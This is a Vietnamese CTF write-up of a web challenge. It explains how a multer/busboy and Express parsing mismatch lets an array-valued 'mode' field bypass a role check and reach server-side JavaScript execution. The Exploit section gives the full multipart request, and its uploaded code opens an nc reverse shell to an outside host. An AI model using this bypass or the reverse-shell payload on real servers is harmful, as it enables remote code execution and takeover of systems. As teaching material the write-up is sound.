---
tags: CTF
---
# VietAn Web challenge 0x1 - writeup
## Analysis
```js=
const upload = multer({
storage: multer.diskStorage({
filename: function (req, file, callback) {
const mode = +req.body.mode;
if (!mode) { // File is runnable for mode == 0
return callback(null, 'run-code.js');
}
callback(null, 'code.js');
}
}),
limits: { fileSize: 5 * 1024 * 1024 }, // 5MB
});
router.post('/', upload.single('code'), async (req, res) => {
const { mode } = req.body;
if (mode != req.locals.user.role) {
return res.send({
response: '',
error: 'WRONGMODE_ERR: current user cannot use that mode',
});
}
if (req.file?.filename.startsWith('run')) {
console.log("done");
const output = await runNodeJsFile(req.file.path);
if (output === 'Hello world') {
return res.send({
response: 'Correct answer',
error: '',
});
} else return res.send({
response: '',
error: 'Wrong answer',
});
}
res.send({
response: '',
error: 'Sorry, this endpoint is restricted',
});
});
```
Mục đích là chạy đoạn code bên trong câu lệnh if `if (req.file?.filename.startsWith('run')) {` để chạy được code tùy ý.
Tại dòng 4 - 5, `req.body.mode` được cast về dạng Number và sau đó phủ định bằng `!` để đưa về kiểu Boolean nên có thể qua được để trả về filename là `run-code.js` bằng cách cho `req.body.mode` là Array.
Vấn đề nằm ở dòng 16, `mode` lúc này được so sánh bởi operator `!=` với `req.locals.user.role` (cụ thể là `1` - một Number).
Sau quá trình fuzzing, em thử payload như sau thì có thể vượt qua được condition.
```
POST / HTTP/1.1
Host: upload-me.anctf.tk
Cookie: id=REDACTED
Content-Type: multipart/form-data; boundary=---------------------------140795878639794766872607545786
Content-Length: 579
-----------------------------140795878639794766872607545786
Content-Disposition: form-data; name="mode[9999999999]"
0
-----------------------------140795878639794766872607545786
Content-Disposition: form-data; name="code"; filename="code.js"
Content-Type: application/octet-stream
a
-----------------------------140795878639794766872607545786
Content-Disposition: form-data; name="mode"
1
-----------------------------140795878639794766872607545786--
```
Ý tưởng ở đây là với số lượng phần tử trong array quá nhiều nên chỉ trả về phần tử đầu tiên.

Lúc này server trả về như hình dưới

Sau khi debug thì thấy `multer` sử dụng thư viện `busboy` để xử lí multipart upload. Thư viện này handle 2 event, 1 là `field`, 2 là `file`. Sự kiện `file` sẽ chạy hàm `indicateDone` để kết thúc xử lí ngay lập tức.


Nên khi chạy vào middleware thì chỉ có 2 param đầu tiên là `mode[9999999999]` và `code`.

Sau khi vào handler chính của route, `mode` lúc này sẽ lấy cái param cuối cùng (behavior của Express). Vì `req.body` của `multer` được tạo ra bằng cách tạo 1 object mới :slightly_smiling_face: ???

Do đó lúc này `mode` là `1` nên qua được đoạn check này.
## Exploit
Sau khi vượt qua được các điều kiện ở trên và chạy tới hàm `runNodeJsFile` để chạy code Javascript, viết đoạn mã để reverse shell!
```
POST / HTTP/1.1
Host: upload-me.anctf.tk
Cookie: id=REDACTED
Content-Type: multipart/form-data; boundary=---------------------------140795878639794766872607545786
Content-Length: 579
-----------------------------140795878639794766872607545786
Content-Disposition: form-data; name="mode[9999999999]"
0
-----------------------------140795878639794766872607545786
Content-Disposition: form-data; name="code"; filename="code.js"
Content-Type: application/octet-stream
require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc [IP] [HOST] >/tmp/f')
-----------------------------140795878639794766872607545786
Content-Disposition: form-data; name="mode"
1
-----------------------------140795878639794766872607545786--
```
Thành quả!
